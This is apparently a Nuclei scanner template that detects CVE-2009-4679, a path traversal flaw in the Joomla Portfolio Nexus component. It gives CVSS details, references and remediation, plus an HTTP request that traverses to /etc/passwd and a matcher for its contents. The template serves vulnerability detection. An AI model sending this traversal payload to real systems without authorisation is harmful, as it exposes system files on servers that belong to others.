id: CVE-2009-4679

info:
  name: Joomla! Portfolio Nexus - Remote File Inclusion
  author: daffainfo
  severity: high
  description: |
    Joomla! Portfolio Nexus 1.5 contains a remote file inclusion vulnerability in the inertialFATE iF (com_if_nexus) component that allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to fix the Remote File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33440
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4679
    - http://www.exploit-db.com/exploits/10754
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4679
    cwe-id: CWE-22
    epss-score: 0.00826
    epss-percentile: 0.81565
    cpe: cpe:2.3:a:inertialfate:com_if_nexus:1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inertialfate
    product: com_if_nexus
  tags: cve2009,cve,joomla,lfi,nexus,edb,inertialfate

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022035ac2731b2a2e30664ffe53bfc5ebe264a7f29d4469bda4d8349b81576c455380221008bf99b9304712aca9c59598eeaa7fd452c584f26567b37864994288b9d94aa6b:922c64590222798bb761d5b6d8e72950